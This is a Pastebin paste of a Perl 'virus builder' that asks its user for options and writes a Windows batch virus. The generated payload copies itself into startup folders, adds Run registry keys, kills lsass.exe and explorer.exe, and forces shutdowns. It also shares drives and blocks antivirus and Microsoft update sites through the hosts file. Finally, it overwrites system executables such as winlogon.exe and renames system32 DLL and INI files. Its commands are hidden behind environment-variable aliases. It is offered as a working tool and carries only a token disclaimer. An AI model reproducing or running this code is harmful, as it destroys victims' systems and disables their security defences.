Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/local/bin/perl
- # Virus Builder
- # by dav
- $vname = '';
- $vwriter = '';
- $vbsmsgtxt = '';
- $vtime = '';
- print("*******************\n");
- print("DAV's Virus Builder\n");
- print("BAT/VIRUS\n");
- print("*******************\n");
- print("\n");
- print("VirusName?\n");
- chomp ($vname = <STDIN>);
- print("\n");
- print("Author?\n");
- chomp ($vwriter = <STDIN>);
- print("\n");
- open(FH,">virus.bat");
- print FH '@echo off';
- print FH "\n";
- close(FH);
- open(FH,">>virus.bat");
- print FH "rem $vname - Virus\n";
- print FH "rem by $vwriter\n";
- print FH "rem ** generated with dav's virus builder v.1.0 in perl **\n";
- print FH "set dav=echo\n";
- print FH "set davv=copy\n";
- print FH "set davvv=reg add\n";
- print FH "set davvvv=del\n";
- print FH "set davvvvv=net share\n";
- print FH "set davvvvvv=cls\n";
- print FH "set davvvvvvv=taskkill\n";
- print FH "set davvvvvvvv=ren\n";
- print FH "set davvvvvvvvv=call\n";
- print FH "set davvvvvvvvvv=shutdown\n";
- print FH "%davv% %0 %windir%\\vwin.bat > nul";
- print FH "\n";
- close(FH);
- print("*** Startup Methods ***\n");
- print("Autostart/Startup Infect - yes/no?\n");
- chomp ($vstartup = <STDIN>);
- if($vstartup=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH "chcp 1252 > nul";
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\win.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\win.bat" > nul';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("REGentry(works on all winsys) - yes/no?\n");
- chomp ($regy = <STDIN>);
- if($regy=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH '%davvv% "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';
- print FH "\n";
- print FH '%davvv% "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v vwin /t REG_SZ /d "%windir%\vwin.bat" /f > nul';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("*** Virus Main Function ***\n");
- print("Shutdown with time and comment - yes/no?\n");
- chomp ($shutdown = <STDIN>);
- if($shutdown=~m/^(yes|ja|j|y)/i) {
- print("Seconds to restart?\n");
- chomp ($vtime = <STDIN>);
- print("Comment?\n");
- chomp ($vcom = <STDIN>);
- open(FH,">>virus.bat");
- print FH "%davvvvvvvvvv% /s /f /t ";
- print FH "$vtime";
- print FH " ";
- print FH "/c ";
- print FH '"';
- print FH "$vcom";
- print FH '"';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("LSASS.exe and EXPLORER.exe Killer - yes/no?\n");
- chomp ($lsass = <STDIN>);
- if($lsass=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH "%davvvvvvv% /f /im explorer.exe\n";
- print FH "%davvvvvvv% /f /im lsass.exe \n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("Net Share c:, g: ... - yes/no?\n");
- chomp ($netshare = <STDIN>);
- if($netshare=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH "%davvvvv% c=c:\n";
- print FH "%davvvvv% g=g:\n";
- print FH "%davvvvv% f=f:\n";
- print FH "%davvvvv% y=y:\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("kill cookies - yes/no?\n");
- chomp ($vcookie = <STDIN>);
- if($vcookie=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH '%davvvvvvvv% "c:\documents and settings\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
- print FH "\n";
- print FH '%davvvvvvvv% "C:\Dokumente und Einstellungen\%username%\cookies\*.txt" *.fUcKeDbYvIrUs > nul';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("infect hosts file - yes/no?\n");
- chomp ($vhosts = <STDIN>);
- if($vhosts=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH "%dav% 127.0.0.1 www.google.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.google.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.symantec.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.antivir.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.f-secure.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.f-secure.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.kaspersky.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.kaspersky.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.nai.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 windowsupdate.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.symantec.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.microsoft.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.microsoft.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.free-av.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.sophos.com >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%dav% 127.0.0.1 www.sophos.de >> %windir%\\system32\\drivers\\etc\\hosts\n";
- print FH "%davvvvvv%\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("Random Population - yes/no?\n");
- chomp ($ranpop = <STDIN>);
- if($ranpop=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH "%davv% %0 %random%.bat\n";
- print FH "%davv% %0 %random%.bat\n";
- print FH "%davv% %0 %random%.bat\n";
- print FH "%davv% %0 %random%.bat\n";
- print FH "%davv% %0 c:\\%random%.bat\n";
- print FH "%davv% %0 c:\\%random%.bat\n";
- print FH "%davv% %0 c:\\%random%.bat\n";
- print FH "%davv% %0 c:\\%random%.bat\n";
- print FH "%davvvvvv%\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\Programme\\Autostart\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Dokumente und Einstellungen\\All Users\\Startmen�\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
- print FH "\n";
- print FH '%davv% %0 "C:\\Documents and Settings\\All Users\\Start Menu\\%random%.bat" > nul';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("infect some .exe files - yes/no?\n");
- chomp ($syskiller = <STDIN>);
- if($syskiller=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH '%davv% %0 %windir%\\system32\\taskmgr.exe > nul';
- print FH "\n";
- print FH '%davv% %0 %windir%\\system32\\winlogon.exe > nul';
- print FH "\n";
- print FH '%davv% %0 %windir%\\system32\\svchost.exe > nul';
- print FH "\n";
- print FH '%davv% %0 %windir%\\system32\\calc.exe > nul';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("kill .dll .ini files (** WARNING! **) - yes/no?\n");
- chomp ($syskiller1 = <STDIN>);
- if($syskiller1=~m/^(yes|ja|j|y)/i) {
- open(FH,">>virus.bat");
- print FH '%davvvvvvvv% %0 %windir%\\system32\\*.dll *.-fUcKeD > nul';
- print FH "\n";
- print FH '%davvvvvvvv% %0 %windir%\\system32\\*.ini *.FuCkEd- > nul';
- print FH "\n";
- close(FH); } else { print "x\n" }
- print("\n");
- print("VBS Messagebox - yes/no?\n");
- chomp ($vbsmsg = <STDIN>);
- if($vbsmsg=~m/^(yes|ja|j|y)/i) {
- print("Message?\n");
- chomp ($vbsmsgtxt = <STDIN>);
- open(FH,">>virus.bat");
- print FH '%dav% MsgBox "';
- print FH "$vbsmsgtxt";
- print FH '", 16, "ViRuS!!!" > msg.vbs';
- print FH "\n";
- print FH "%davvvvvvvvv% msg.vbs\n";
- close(FH); } else { print "x\n" }
- print("\n");
- open(FH,">>virus.bat");
- print FH "goto ende\n";
- print FH ":ende\n";
- close(FH);
- print("\n");
- while ($cya ne 'exit') {
- print "*** VIRUS.BAT BUILT ***\n";
- print "*** DON'T SPREAD YOUR VIRUS. ***\n";
- print "*** I AM NOT RESPONSIBLE FOR POSSIBLE DAMAGES OR SOMETHING ELSE. ***\n";
- print "*** exit to quit ***\n";
- chomp ($cya = <STDIN>);
- print "\n"; }
Add Comment
Please, Sign In to add comment